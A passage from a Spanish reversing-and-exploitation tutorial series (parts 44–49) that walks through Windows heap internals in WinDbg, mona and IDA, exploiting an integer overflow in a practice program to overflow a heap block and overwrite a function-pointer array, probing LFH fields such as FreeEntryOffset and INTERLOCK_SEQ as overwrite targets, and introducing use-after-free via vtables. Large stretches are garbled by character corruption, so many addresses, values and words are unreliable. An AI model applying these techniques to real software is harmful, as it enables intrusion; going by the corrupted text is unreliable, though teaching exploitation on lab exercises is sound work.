Si vamos a la zona donde salto mirando el stack, sabemos que viene de allí.
Y vemos que EBP no cambio y como conocemos el programa haremos trampita mirando el valor
del bu er que le pasamos a gets_s que es el inicio del bloque allocado pues copia allí, se le pasa
como argumento (obviamente esto lo podemos hacer porque es un programita sencillo y para
aprender, sino hay que habilitar el page guard y hacer lo que vimos antes)
La variable Buf sigue apuntando al inicio del bloque del heap, asi que podemos ir allí.
Esta corrupta eso sabemos.
Obviamente como esta todo roto, trataremos de atachearlo antes de que se rompa el heap para
ver la info de un bloque bueno, no puedo arrancarlo directo en IDA porque eso lo arranca en
modo debug al heap, así que le pondré un EB FE en el inicio para que quede loopeando y cuando
lo arranque lo atacheare.
Le cambiare el 74 18 del salto condicional por un EB FE, una vez cambiados EDIT-PATCH
PROGRAM- APPLY PATCH TO INPUT FILE.
Ahora arranco el script una vez que queda loopeando paro ahí, pero como ya paso por el malloc ya
puedo mirar el heap.
User como siempre es la parte donde se puede escribir, y Entry es donde comienza el header,
veamos.
WINDBG>!heap -a 007a0000
Index Address Name Debugging options enabled
1: 007a0000
Segment at 007a0000 to 008a0000 (0004b000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000800
DeCommit Total Thres: 00002000
Total Free Size: 0000031b
Max. Allocation Size: 7ffdefff
Lock Variable at: 007a0138
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 007a00a0
Uncommitted ranges: 007a0090
007eb000: 000b5000 (741376 bytes)
FreeList[ 00 ] at 007a00c4: 007e8ec0 . 007e4e90
007e4e88: 00028 . 00010 [100] - free
007a6750: 00028 . 00010 [100] - free
007a6158: 00050 . 00010 [100] - free
007e2d30: 00028 . 00018 [100] - free
007e2c58: 00210 . 00018 [100] - free
007e8eb8: 00078 . 01878 [100] - free
Segment00 at 007a0000:
Flags: 00000000
Base: 007a0000
First Entry: 007a0588
Last Entry: 008a0000
Total Pages: 00000100
Total UnCommit: 000000b5
Largest UnCommit:00000000
UnCommitted Ranges: (1)
Si vemos en la lista, está el bloque si lo buscamos por la dirección del header y nos dice el size
Vemos que ya no nos muestra la historia aunque si el size, el size general es 0xf porque para hallar
el total se multplica por 8 lo que da
hex(0xf *0x8)
'0x78'
En el caso del heap normal para ver los valores hay que usar
El tema es que están encodeados (xoreados) con una constante, donde podemos hallar la
constante para desexorearlos.
Vemos que el o set 0x50 de la estructura del heap se llama encoding
dd 007E8E40 L2
Tengo los dos dwords que debo xorear con los dos de la entrada.
WINDBG>dd 007E8E40 L2
007e8e40 40df14c1 0c00685f
Xoreo
WINDBG>? 4ede14ce ^ 40df14c1
Evaluate expression: 234946575 = 0e01000f
WINDBG>? 68d6 ^ 0c00685f
Evaluate expression: 201326729 = 0c000089
Podemos armar la tablita, obviamente romperemos el programa y no podrá correr más pero para
ver.
Bueno vamos poco a poco mirando y familiarizándonos con los bloques del heap, la próxima
veremos que nos tene que decir mona sobre esto, si ayuda o no jeje.
Hasta la parte 45
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 45
Volveremos a practcar con el ejercicio AcCTICc41b pero esta vez en el Windbg usando Mona o
sea fuera de IDc, por supuesto usamos el que ya tene el EB FE para que quede loopeando, de
cualquier manera esta bueno tenerlo abierto también en el LOcDEA de IDc sin debuggear para
tener claro las cosas.
La idea es ver que info nos da en ambos casos usando Windbg dentro de IDc o usando Windbg
fuera de IDc y con mona.
En este caso IDc en el LOcDEA me muestra la dirección del LOO INFINITO en mi maquina
0xc610a7 y el comienzo de la sección de código en SEGMENTS.
Veo que si hago la resta desde el inicio de la sección de código, el LOO esta 0xa7 más adelante y
desde la imagebase 0xc60000 estará 0x10a7 mas adelante.
crranco el script y el proceso quedara loopeando, así que abro el Windbg que ya tene instalado el
Mona, como vimos en las partes anteriores.
Cuando lo atacheo y para, me fjo la imagebase ya que tene cSLA el módulo del ejecutable, con lm
veo la lista de modulos.
cllí le puse el breakpoint y tpee “g” que es AUN para que corra y paro en el mismo, una vez que
paro cargo el mona y uso el comando heap del mismo.
Comparamos con los que nos da el Windbg no hay mucha diferencia, solo me da el mona una de
las encoding keys.
Heaps:
------
- rocessing modules
---------------------------------
Nr of chunks : 146
Nr of chunks : 0
Aecordamos que en este punto EcX tenía la dirección de usuario del bloque (sin el header)
Si buscamos por 4588 ya que en los listados siempre está por la dirección que incluye el header.
cllí vemos el bloque BUSY el user size 0x6c y el size total 0x78 o sea 120 decimal, si lo hacíamos
con el Windbg usando !heap -a 0x00410000.
hex(0xf *0x8)
En el mona
Como siempre en la posición 0x50 están las claves para xorear, veamoslas.
Vemos que una de las dos claves coincide con la que muestra el mona.
La salida es larguísima pero trata de ver en que usa los bloques del heap y listarlo.
chí está nuestro bloque.
0:000> da 00458d27
Vemos que los datos coinciden esta free o sea se guardó info allí, pero se liberó el bloque para
nuevo uso.
En este caso no, pero hay que prestar siempre atención a los objetos allocados, pues los mismos
tenen vtables que son tablas virtuales que se pueden pisar y que podrían hacernos saltar a
controlar la ejecución.
Este es un ejemplo de la web para que vean como se ve allí dice OBJECT y VFTcBLE, un buen
objetvo para pisar si hay un overlow.
En el IDc podemos ver los bytes que habíamos cambiado para poner el loop infnito con EDIT-
cTCHED BYTES.
En el Windbg en la pestaña memory voy a la dirección donde está el EB FE y los cambio por 74 18.
Si ahora hago u eip veo que cambio al salto condicional que había.
uedo darle run o G y aceptar el enter del script y que siga hasta que crashee, sabemos que no
está puesto el page heap como full por lo que no hay history ni crasheara al escribir, solo
crasheara al saltar a ejecutar.
Igual tuve que volverlo a trar porque tuve que reiniciar la máquina, llegare a lo mismo que antes
aunque las direcciones variaran.
Heaps:
------
Y EcX vale
0:000> r eax
EcX=0053a720
Vemos que nos muestra el bloque lleno de ces y el siguiente también con ces, el Windbg me
muestra el bloque siguiente con size 0x4141 ya se ve corrupto el size.
Hasta la parte 46
Aicardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 46
Bueno miraremos el ejercicio de la parte 44.
/os exploits de Heap dependen mucho del programa y de la aulnerabilidad, algunos son
explotables, otros no.
Muchas aeces la reliabilidad (el porcentaje de uncionamiento correcto contra las aeces que alla)
es menor a otros tpos de exploit que explotan otro tpo de aulnerabilidad.
Bn general un exploit de heap con todo bien si los planetas se alinean y el exploit writer trabajo
bien, puede superar un 8A2 de reliabilidad, en casos de que las cosas aan mal el programa no
permite manipulación del heap, o el exploit writer no acierta puede ser mucho menor de un 3A2 a
un 6A2 de reliabilidad.
L que me refero con manipulación de heap, o masaje de heap o como se llame, a ir llenando los
huecos o sea los bloques ree con di erentes allocaciones de distntos tamaños, antes de ubicar el
bloque que se aa a oaerfodear, para que el mismo se coloque en una posición anterior a un
puntero, una atable o algo posible de pisar.
Ror ejemplo si aamos a explotar un seraer, ir enaiando di erentes paquetes de datos, no al tun tun,
sino habiendo aisto que hace cada tpo de paquete y que tamaños alloca según lo que le enaío y
cuando está lleno a mi gusto el heap, enaío el paquete que produce la allocacion y se puede
oaerfodear, para que se ubique en una posición a mi gusto.
Ii el programa abre un archiao por ejemplo E RU, le agrego al archiao, campos de texto, tablas,
etc cada uno alocará di erentes tamaños que puedo controlar, antes de allocar el que se aa a
oaerfodear.
baiamente esto no es sencillo y hay que conocer lo que se está haciendo y el programa a
explotar, a ciegas no se hace nada.
Rara que no se auelaan locos leyendo cosas aiejas de explotación de heap, hay métodos aiejos que
pisaban los punteros del header del bloque, y se podía explotar hace años, allocando y
desallocando, solo controlando lo que se escribía en los punteros del header al oaerfodear el
bloque anterior.
Como aimos ahora los punteros del header están xoreados con aalores que cambian, el heap
trabaja en orma di erente y hace múltples chequeos en los punteros, así que esos métodos no
siraen hoy día más, y es inútl ponerse a estudiarlos hoy.
Ror supuesto la practca 44 es el peor de los escenarios, pues solo puedo controlar una sola
allocacion según el size que pase, lo cual no es muy fexible ni muy real, así que las posibilidades
son muy pocas.
L contnuación de esta parte haré una nueaa aersión del ejercicio 44 con múltples allocaciones
como en un caso real para que practquen como llenar los agujeros del queso jeje para tener más
posibilidades de explotar y mejorar la reliabilidad.
/a idea era que practquen y choque con este para que aean como pueden hacer con el siguiente,
igual lo analizaremos y aeremos qué pasa.
Bueno aemos que después de cargar la Mypepe.dll imprime “Nngrese una cantdad de números
enteros” y llama a scan luego le pasa con el /BL la dirección de la aariable número, para que
guarde allí el aalor tpeado en ormato decimal ya que el ormato es 2d.
/uego toma ese número y lo multplica por 4 y lo usa como size del malloc.
Rara di erenciar un poco le puse una abreaiatura de puntero a bloque donde controlo el size.
Eemos que internamente el new llama a un malloc con el mismo size y que si puede allocar BLX
será di erente de cero e ira al bloque con el pop ebp-ret deaolaiendo en BLX la dirección del
bloque allocado.
/e puse una abreaiatura a la aariable que guarda dicha dirección, de puntero a bloque de tamaño
fjo Ax1A, ademas guarda en la aariable array la misma dirección.
/uego guarda la dirección de prin en ese bu er apuntado por array, se ae que es un array de
punteros o dwords, porque parece indexar de a 4, igual solo llena el primer campo del array con la
dirección de prin .
BCX + BLX es igual a BCX, dado que BLX aale A, o sea guardara prin en la dirección del inicio del
array o sea el primer campo)
Ii tuaiéramos el código comprobaríamos que son 4 campos de 4 bytes y que en el primero guarda
un puntero a prin .
Bl tpo system_t lo defní y es un puntero a system, así 4 punteros de 4 bytes cada uno, el largo es
Ax1A o sea 16 decimal, el size de lo que aa a allocar (un array de punteros).
/uego aaisa imprimiendo la dirección del bloque con mi tamaño p_bloque_mi_size y diciéndome
que allí aoy a escribir mis enteros.
sea que tenemos un array de punteros a system y una allocacion que yo controlo el size y que
allí aoy a escribir enteros.
/uego imprime que ingresemos nuestro primer entero y entra al loop que está marcado en aerde,
pone una aariable i =A que será el contador, la salida es comparar con el aalor de numero, si es
más grande se aa uera del loop.
sea la idea del loop es ir escribiendo los enteros, por ejemplo si uno tpeo en número el aalor 4
decimal, allocó 4 * 4 o sea 16 decimal o sea Ax1A, y tendrá que loopear 4 aeces, para en cada ciclo
guardar un entero de cuatro bytes y incrementar de a 4, así ciclara 4 aeces por 4 bytes guardados
en cada aez será 16 bytes decimal guardados en el bloque de 16 decimal de size y no habría
oaerfow ni nada.
Ya aemos que la salida del loop será cuando i o sea el contador sea mayor o igual que el número
que ingrese al inicio.
Bs obaio que el programa unciona bien mientras que la multplicación del número ingresado por 4
no desborde el máximo de un entero de 30 bits.
Bse al multplicarlo por 4 estará cerca de Ax . /o aoy aumentando de a uno hasta que se
desborde y el resultado sea un número pequeño.
Lsí que Ax4AAAAAAA por 4 me da cero, ese no me sirae, le sumo uno más y me da 4 ese ya sirae y
así tengo el rango de aalores a partr de Ax4AAAAAA1 en adelante que me producen
desbordamiento y cuyo resultado es un aalor chico.
baiamente los múltplos de Ax4AAAAAAA al cual luego le aoy sumando de a uno serairán.
Lsí que aemos que aquí la idea es desbordar el bloque al cual le escribo los números enteros,
tratando de llegar al bloque del array de punteros, además en el medio del ciclo usa para imprimir
el puntero guardado en el primer campo del array.
Nmprime en cada ciclo la palabra correcto, usando el puntero a prin guardado en el array y
sumándole como la aez anterior BCX que aale cero, que proaiene de esa multplicación por cero,
así que si no pisamos el puntero, saltara a imprimir, pero si llegamos a pisar el array podremos
saltar a ejecutar código.
Bl tema es que se tenen que dar aarias cosas para que esto ocurra, como aquí no hay muchas
allocaciones ni podemos masajear el heap llenando los huecos del mismo con allocaciones con size
controlado, la cosa puede allar, ya que si el array de punteros queda en una dirección más baja
que el bloque a desbordar no podre alcanzarlo porque no puedo escribir para atrás jeje.
sea la idea es que el array de punteros debe quedar cerca pero en una dirección más alta que el
bloque a desbordar.
Lllí aemos que la dirección donde escribe se incrementa de a 4, o sea que es un array de enteros
también por eso se incrementa de a 4.
Bueno ya está analizado aeamos que pasa si lo tro suelto uera de NUL.
Rrobemos que nuestro bloque alloque la misma cantdad que el array de punteros o sea Ax1A, lo
cual tendría cierta lógica, ya que como primero alloca mi bloque y luego el array de punteros
ambos con el mismo size, el mío quede en una dirección más baja para oaerfodear y pisar el otro,
pero no se aoy a probar primero en Eindows 7 que es más amigable para casos de heap.
Bso se ae bien el bloque a desbordar está en Ax6109AA y el bloque con el array de punteros en
Ax610918 jeje aoy a trarlo 1A aeces a aer qué porcentaje sale bien.(recuerden si cambiaron el
page heap para este proceso aolaerlo a heap normal).
Eemos que siempre la distancia me da 18 porque al ser ambos del mismo tamaño y en Eindows 7
que es más bueno, la cosa aa bien ahora probare en w1A.
Eemos que en w1A la cosa es más aariable, a aeces queda bien y a aeces mal.
Bl tema es que no puedo manipular el heap allocando, así que por ahora hare este exploit solo
para w7, el próximo que hagamos aeremos si manipulando nos ayuda a poder hacer una aersión
para cada uno.
Bueno ahora armare un script proaisorio para ir probando.
Lrranco el script, elijo en el NUL el windbg debugger y atacheo al proceso que queda detenido
dentro del scan .
Como puse un breakpoint en Ax4A1AdA antes del primer malloc, parara allí al aceptar el BT BR del
script.
Eemos el número que ingrese está en BUX es Ax4AAAAAA4.
!heap -a Ax0cAAAA
!heap -a Ax51AAAA
Ngual no está en el listado por ser de size muy pequeño, pero si pregunto qué fltre los bloques de
tamaño Ax1A
Lhí si me aparece
Eemos que en el listado general aparecen dentro de un bloque de Ax4AA sin especifcar lo que hay
dentro, al pedir por tamaño si disgrega el contenido.
Rero bueno al buscar los bloques de Ax1A y aer los libres, aemos que justo debajo del nuestro hay
otro bloque ree en Ax3A0 eA que es el siguiente libre y que supuestamente al hacer malloc de
Ax1A debería usar ese, lleguemos hasta el otro malloc.
Eemos que justo allocó usando el siguiente que estaba ree y que estaba cerca.
Justo el siguiente de Ax1A al menos en Eindows 7 es bastante predictao.
Más o menos ya tengo una idea la distancia entre los dos es Ax3A0 e8 -Ax3A0 dA
Python>hex(0x302fe8 -0x302fd0)
0x18
Allí puse 6 valores lo cual me da 24 de largo (0x18) y el 7mo seria 0x41424344 pasado a
decimal, veamos qué pasa.
Obviamente eso se da porque W7 es bastante predecible. Seguramente en w10 habrá que
poner varios de estos 0x41424344 de relleno para que si se mueve termine saltando igual,
en el caso que se pueda hacer.
Bueno con eso saltaríamos a ejecutar mi bloque el problema es que EDX ahora apunta a los
últimos bytes que hay ya que se fue incrementando, lo cual es medio molesto, así que lo
dejaremos ahí al menos demostramos que saltamos a ejecutar en el próximo ejercicio
podremos manejar más distintos allocs de diferentes tamaños, y podremos tratar de pelearlo
tanto en Windows 7 como en w10.
Hasta la parte 47
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 47
Vamos a trata de aclarar algunas cosas que aun no mencionamos del tema heap y que son
necesarias, lo haremos mirando nuevamente el ejercicio practca 44 que hablamos mirado
en Windows 7, lo volveremos a mirar en el mismo so.
Es bueno notar que la forma de manejar el heap hay cambiado mucho de XP a Windows 7, y
tene mas cambios aun hasta Windows ,, por lo cual m todos de edplotacinn que son
validos en uno, pueden no serlo en el otro.
Tambi n es cierto que lo edploits tpo que edplotan un heap overfow, hay que lucharlos
bastante, no son sencillos la mayor parte de las veces y no siempre funcionan el ,,% delos
intentos.
Ya habíamos visto que hacia un malloc inicial en ,d,,4, ,U7 asi que coloco un breakpoint
en el windbg con
ba e ,d,,4, ,U7
Cna vez que para ya sabemos que el size era el numero que le pasábamos multplicado por
4.
El numero ese pasado a hedadecimal es
',d4,,,,,,4'
si que alocara ,d ,.
l pasar por encima del malloc con f , veo en mi caso que allocn en ,d,,3, b2,
Vemos que pertenece a un bloque de tamaño ,d , de Cser ize, o sea sera ,d , el espacio
que reserva de memoria para utlizar por el usuario, sin contar el header.
Csando !heap -a ,d2c,,,, para ver los chunks del heap.
Vemos que hay un chunk en ,d3, 86, de largo ,d4,, que tendría mi direccinn dentro, pues
,d3, b2, esta incluido dentro de ese bloque que empieza en ,d3, 86, y sumandole ,d4,,
terminaría en ,d3, c6,.
%o cargo con
.load pykd.pyd
Y luego
Vemos que nos muestra al igual que el windbg el mismo chunk de ,d4,, salvo que ademas
de anternal nos dice que es %FH.
Oealmente el %FH es como un heap especial dentro del heap estándar, con reglas un poco
distntas, la idea es tener un heap para evitar la fragmentacion o sea que tengas bloques
allocados desperdigados en la memoria y muy separados.
%a fragmentacion del heap ocurre cuando hay allocados pequeños bloques no contguos.
Cuando esto sucede, las asignaciones de memoria pueden fallar aunque puede haber
su ciente memoria total en el heap para satsfacer la solicitud. in embargo, como ningún
bloque de memoria libre es lo su cientemente grande, la solicitud de asignacinn falla.
Para aplicaciones con poco uso de memoria, el heap estándar es adecuado no habrá
problema, allí las asignaciones no fallaran debido a la fragmentacion del heap. in embargo,
si las aplicaciones asignan memoria con frecuencia utlizando tamaños de asignacinn
diferentes, estas asignaciones pueden fallar debido a la fragmentacion de heap.
Veremos unas cuantas tablas y en las prodimas partes trataremos de comprender como el
sistema toma la decisinn de allocar en el %FH o en el HE P estándar y como trabaja.
Tomenlo con paciencia a nadie le gusta tragar todo esto jeje, lo haremos poco a poco en la
misma practca que tenemos detenida en el windbg.
dt _HE P direccinn
hí esta la tabla principal del heap que se accede con dt _HE P y la direccinn del mismo que
en mi caso es ,d2c,,,,.
Vemos que en la posicinn ,dB8 esta Blocksanded que es un puntero a otra tabla, en mi caso
dicha tabla esta en ,d2c, 5,, o sea ,d 5, desde el inicio del heap.
Trataremos de mostrar las tablas y edplicar solo lo minino necesario, ya volveremos mas
adelante con esta tabla.
Casualmente en ,d2c9 , empezaban esos chunks anternal %FH, esto indica la posicinn del
%DW FO MENT TaDN HE P que es el FODNTENU HE P, mientras que el heap estándar es
llamado B CKENU HE P.
quí se ve claramente que el %FH es un heap dentro del otro heap, empieza ali tal cual fuera
un chunk mas del heap principal, pero dentro tene otro heap.
igamos adelante.
dt _%FH_HE P direccinn
hí dentro del %FH hay un par de estructuras mas que son importantes una es
_HE P_%DC %_U T que esta en el o set ,d3 ,, cuyo contenido de puede ver con
y pasando el mouse por encima de los números [,], [ ], etc nos muestra la direccinn.
Ese seria el primer %ocal egment anfo, podemos ver que signi ca su contenido haciendo
click por ejemplo en el [,]
Vemos que hay una lista llamada Cachedatems en el o set ,d8 igual podemos hacer click allí,
en mi caso en el primer egmentanfo empezara en ,d2ca2e8.
Y despues de todo esto llegamos a donde queremos dentro de ggregateEdch que esta en el
o set ,d8 esta _aNTEO%DCK_ E eso se puede mostrar con
dt _aNTEO%DCK_ E direccinn
Tambi n haciendo click en el windbg
Bueno el tema era llegar hasta FreeEntryD set en este caso es cero, anotemos bien como
llegar hasta aquí, si vemos la de nicinn de este valor.
FreeEntryOfset – This 2-byte integer holds a value, when added to the address of the
_HEAP_USERDATA_HEADER, results in a pointer to the nedt locaton for freeing or allocatng
memory.
D se que depende de este valor cual sera el siguiente bloque que allocara o liberara, se le
suma a otro que es _HE P_C EOU T _HE UEO, veamos donde esta ese.
Ese se llega de la misma tabla anterior solo que esta en el o set ,d4 CserBlocks
Y se dumpea con
Bueno vamos obteniendo los valores para armar el rompecabezas, vemos que CserBlocks
esta justo arriba de _aNTEO%DCK_ E que es el que tene el puntero a FreeEntryD set con lo
que overfodeando la data de un chunk se podría pisar el mismo y alterar el prndimo chunk
que te de para allocar, aquí vemos en la imagen un poco mas claro.
li en la imagen se ve mas claro se ve el header _HE P_C EO_U T que habíamos visto,
justo debajo viene la zona escribible por el usuario, y justo debajo esta la estructura
_aNTEO%DCK_ E que es la que tene el valor que decide cual es el siguiente que te va a dar
si allocas el mismo size.
Con esto tenemos una vista de las tablas principales y sus valores en la o cina parte veremos
si nos ayuda para estudiar como decide alocar en el heap estándar o en el %FH.
Hasta la parte 48
Oicardo
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 48
Trataremos de seguir una allocacion a ver si podemos entender la lógica de la misma y ver
como dice si alloca en el LFH o en el HEAP ESTANDAR.
Arrancamos el ejecutable fuera de IDA desde una consola, sin usar el script de Python
Ingresamos el numero que nos pide 1073741828 a mano, atacheamos el IDA con WINDBG
como debugger, ponemos un breakpoint en el malloc y apretamos ENTER.
Si traceamos entrando en el malloc con f7 vemos que el size lo pasa a ESI, lo compara si es
mas grande que 0xFFFFFFE0 como en nuestro caso es 0x10 no hay problema, lo pushea
como argumento y ahí mismo vemos que pushea en mi caso 0x240000 que era uno de los
heaps asi que ya sabemos que va a trabajar con ese.
Ahí llegamos a podemos crear la función con click derecho - Create functon y renombrar los
argumentos que eran el size, un cero y la base del heap.
Aca esta la estructura del heap listada para poder copiar y pegar.
No vamos a hacer las estructuras en IDA con todos los campos, solo crearemos una
estructura vacía para renombrar solo los campos que usemos.
Ahí la cree en la pestaña estructuras con INSERTAR y luego la agrandare a 0x130 despues
veré si necesito agrandarla mas.
Ya sabiamos como hacer esto le agrego un campo de un byte colocándome en el ends y
apretando la tecla D y luego click derecho EXPAND y le agrego 0x12f.
Allí quedo de 0x130 seguro sera un poco mas grande por el largo del ultmo campo, pero ya
veré.
Allí usa el campo 44 y abajo el 5c apretando T en ambos elijo la estructura HEAP.
Son dos campos de 4 bytes, los renombrare, voy a 0x44 y apreto la D hasta que cambia a DD.
Y los renombro.
Bueno no tenemos ni idea de para que sirve pero al menos quedo lindo jeje
Obviamente no todos los campos ni todo lo que hace lo interpretaremos pero iremos viendo
que hace.
Una vez que traceamos hasta allí y EBX tomo el valor de la base del heap 240000 en mi caso
puedo ir ahí y asignarle a esa dirección la estructura heap que aunque por ahora esta vacía
algo tene jeje.
Coincide con
Y con
Copie el ejecutable a otra carpeta sin cerrar el anterior para comprobar y lo abrí directo en
un segundo IDA no atacheando, sino directamente dentro del mismo y ese valor cambia a
0x40000060, es un valor que indica si esta siendo debuggeado.
En el que se atacheo
Allí dice que entre otras cosas se puede usar como antdebugger.
Vemos que el argumento que era cero lo reusa haciendo OR con ForceFlags, de esta forma
como era cero quedara valiendo ForceFlags.
Y ECX que tenia Interceptor lo guarda en var_C por eso la renombro, aunque no encontré
detalle de para que sirve ya veremos, lo que si vi que no varia si esta siendo debuggeando o
no vale 0 en ambos casos.
Como Interceptor en mi caso vale cero y ESI vale cero, salta por la echa roja ya que son
iguales.
Allí hace test de ForceFlags que es cero contra la constante 7d810f61 el resultado sera cero y
ira por la echa roja.(si se abrió en un debugger ira por la echa verde)
Compara si el size es cero en nuestro caso es 0x10 asi que va por acá.
Le suma 0xf y luego hace AND con -8 con lo cual queda 0x18 que seria el size completo a
alocar sumandole el header y para que sea múltplo de 8.
Y eso es lo que hace divide el size_full por 8, recordemos también que el size que fguraba en
los encabezados como size total había que multplicarlo por 8 para hallar el total del size del
bloque.
Por ejemplo copiado de otro tute anterior un UserSize de 0x10, terminaba siendo un size
total de 0x3 al que multplicándolo por 8 daba el total de bytes.
Python>hex(0x3*0x8)
0x18
Acá es la operación inversa del size full halla ese 0x3 al dividir por 0x8.
Vemos que ahora empieza a trabajar con la estructura BlocksIndex que habíamos visto en el
tutorial pasado. (la imagen siguiente es del tutorial anterior)
Asi que podemos crear una estructura vacía nueva de 0x24 bytes asi entra el ultmo dword.
Como EAX apuntaba al inicio de esta estructura puedo ir ali en la memoria y asignarle la
misma con ALT mas Q.
Vemos que el ArraySize es 0x80 en este caso, el resto de los campos esta sin defnir aun, por
eso se ve feo.
Vemos que le resta 1 quedando 0x7f y lo vuelve a comparar con 0x3 que esta en ECX.
Ahora lee el campo 0x14 de BlockList que era BaseIndex asi que lo renombro.
Como BaseIndex es cero ECX sigue siendo 0x3 o sea el BlockSize.
Como el campo ExtraItem que esta en 0x8 o set vale 1 (no repetré como renombrarlo en la
estructura) llegamos al ADD ECX, ECX donde multplica por 2 el valor del BlockSize.
Luego usa el o set 0x20 ListHints.
Asi que podemos crear una nueva estructura de 8 bytes, pero en mi IDA ya la tenia (si no la
crean)
O sea si LFH no esta habilitado, el Blink tene un contador y si esta habilitado tene un
puntero. (HEAP_BUCKET+1)
Bueno ya veremos la cuestón es que compara si Al es 1 para ver si es un contador que esta
en 1.
O sea que ciertas cosas vamos viendo en nuestro caso comparo el size 0x3 contra 0x80 y
como era menor y el AL del Blink era diferente del byte 0x1 llegamos por acá a algo que
parece que maneja el LFH.
ECX tene el puntero que había en BLINK-1 y en EDX esta el UserSize 0x10.
Ya que en la función no mostraba las variables y eran basadas en EBP (eran variables ebp -
x), lo cambie poniendo la tlde ahí.
Recordemos que el Blink tenia el valor HEAP_BUCKET+1 o sea que restandole 1 quedaría
(HEAP_BUCKET) asi que renombro la variable a HEAP_BUCKET.
O sea que EDI es la base de la estructura HEAP_BUCKET la creare, parece tener 0x3 bytes.
Esa direccion que guarda en var_2c es el incio de la tabla LFH, ya que Heap_Bucket esta en
0x110 y el 8 debe ser porque esta dentro de la tabla de los Buckets, de esta forma en var_2c
guarda el valor 0x24acf8 que era el inicio de la tabla LFH.
Lo que esta haciendo es lo que dice allí, tratando de hallar la dirección del LFH para este
bucket, usando el SizeIndex.
Obviamente estamos en esa parte solo que en mi caso no es igual a uno y sigue por aquí.
Vemos que llega al LEA donde por ahora EAX vale cero ya que viene de una multplicación de
0x3418 con const_cero y suma ESI que era el inicio de la tabla LFH y le suma 0x310.
Recordemos que desde LFH el o set 0x310 es _HEAP_LOCAL_DATA.
Creo una estructura de 0x22 aunque seguro sera mucho mas por ahora servirá.
Vemos que a partr del o set 0x18 están las estructuras hay 0x128 de ellas
[128] _HEAP_LOCAL_SEGMENT_INFO
Vemos que esta pivoteando a través de esas 128 estructuras usando SizeIndex como indice
al cual lo multplica por 0x68 y luego se lo suma para hallar la dirección de ese SegmentInfo.
ntdll!_HEAP_LOCAL_SEGMENT_INFO
+0x000 Hint : Ptr32 _HEAP_SUBSEGMENT
El primer campo que intenta usar allí lo dice es el Hint y ese es el que levanta aquí.
Vemos que en cualquiera de los tres casos guarda el resultado en la variable que
nombramos Hint pero que puede ser cualquiera de los tres.
Allí vemos que muestra las tres posibilidades por ahora estamos en Hint.
Vemos que puede leer el campo cero como word o como dword, se complica para el
nombre, en mi caso lee el DWORD o sea el valor 0x56000d (ESTE VALOR ES MUY
IMPORTANTE)
Agrego el campo Sequence
Testea DI que tene Depth que es 0d en mi caso.
ECX vale allí 282918 que si miro la lista de bloques de size 0x10.
En la lista esta
Y es el primero de este LFH porque los anteriores de size 0x10 que dicen free, son de otro
LFH de dirección menor posiblemente correspondientes al otro heap.
Vemos que allí a la dirección del chunk 0x282918 sin el header, le resta 8, y queda la
dirección del bloque completa con header 0x282910.
BlockUnits era 0x3 en el SHL EAX, 3 es similar a multplicar por 8 asi que
Vemos que los libres están con el valor 0x80 y los ocupados con el valor 0x88.
La cuestón es que el valor que esta en INTERLOCK_SEQ y que decide cual es el próximo
bloque a entregar esta en 0x282a78 (0x8 a partr del inicio de la estructura
HEAP_SUBSEGMENT)
Antes valía
Y ahora vale
Vemos que la distancia desde el inicio del chunk que puedo escribir, al que decide cual es el
próximo que me va a entregar es solo 0x168 y es un bloque de 0x10 que si se over odea se
puede llegar a pisar.
Quiere decir que la próxima vez que se pida un size 0x010, moverá a EDI el valor 0x59000c si
es que no esta pisado.
Quiere decir que si hay un over ow podemos alterar esta cuenta pisando el valor dentro del
INTERLOCK_SEQ y que me de un bloque anterior, eso lo probaremos en la siguiente parte.
Hasta la siguiente
Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 49.
Hemos visto a lo largo de este curso, la base del uso de IDA para realizar reversing estátco,
unpacking, exploitng, aun quedan varios temas mas para abarcar, pero dentro de la rama del
exploitng nos queda una de las formas de explotación mas difciles y que asusta a mucha gente
veremos los USE AFTER FREE.
Hemos visto el tema de bu er over ows en forma bastante completa, como explotar y desbordar
bu ers en el stack y en el heap, en varios ejercicios y vddeos que hemos subido a youtube.
Para tratar de entender los use a er free, usaremos el EXAMEN 20 como ejemplo pues realmente se
puede explotar solamente como USE AFTER FREE, no hay over ow en ninguna parte del código y los
bu ers están correctos siempre, si ese es el caso, como se puede explotar y desviar la ejecuciónc
Para poder entender necesitaran bajarse primero el código fuente del examen 20
Y los sdmbolos
h ps://drive.google.com/ le/d/013TT00I0fO22cTRRUUpoTFoMaEE/viewcuspssharing
Deberdan renombrarlos con el mismo nombre del ejecutable con extensión pdb o cuando IDA les dice
que no los encuentra buscarlos y decirle donde están para que los cargue.
Vemos en el código fuente una clase llamada Empleados, su constructor Empleados::Empleados y los
metodos virtuales que hablando mal y pronto, serian las funciones que utlizaran las instancias de esta
clase.
Y si miramos dentro del new vemos que llama a malloc con el size que esta alld como argumento, en
este caso 436 decimal o 0x3A0 que es el size que necesita cada instancia.
Sabemos que a bajo nivel la instancia es como una variable de tpo estructura y debe tener lugar para
guardar todas los atributos de la clase, que son equivalentes a los campos de la estructura, vemos un
int para salario actual, y en la parte publica un bu er de 200 bytes decimal llamado cadena, otro
llamado name y vemos también la declaración de los metodos virtuales.
Normalmente dentro del constructor, en el primer lugar de el espacio reservado para cada instancia
se guarda un puntero a una tablita llamaba vtable las direcciones a los metodos virtuales y en cada
instancia habrá un puntero a dicha tablita o vtable.
En el ejercicio 39 anterior que era también de clases, a pesar de que no habda new porque la instancia
era una variable en el stack y no en el heap, se veda claramente el constructor.
1ueno lo que pasa es que el compilador como vio que el constructor es muy pequeño y hace casi nada
al optmizar, elimino dicho método y lo reemplazo por las instrucciones que contene.
El constructor solo pone a cero ese atributo y ademas debe setear la vtable justo despues del new
que crea la instancia , veamos en el IDA.
Alld hace ambas cosas, pone a cero dicho atributo y setea la vtable para su uso posterior.
Asi que guarda en el primer lugar de la memoria reservada de cada instancia, un puntero a esa tablita
o vtable.
Antes de reversear el examen completo, que lo veremos en el vddeo correspondiente, veamos como
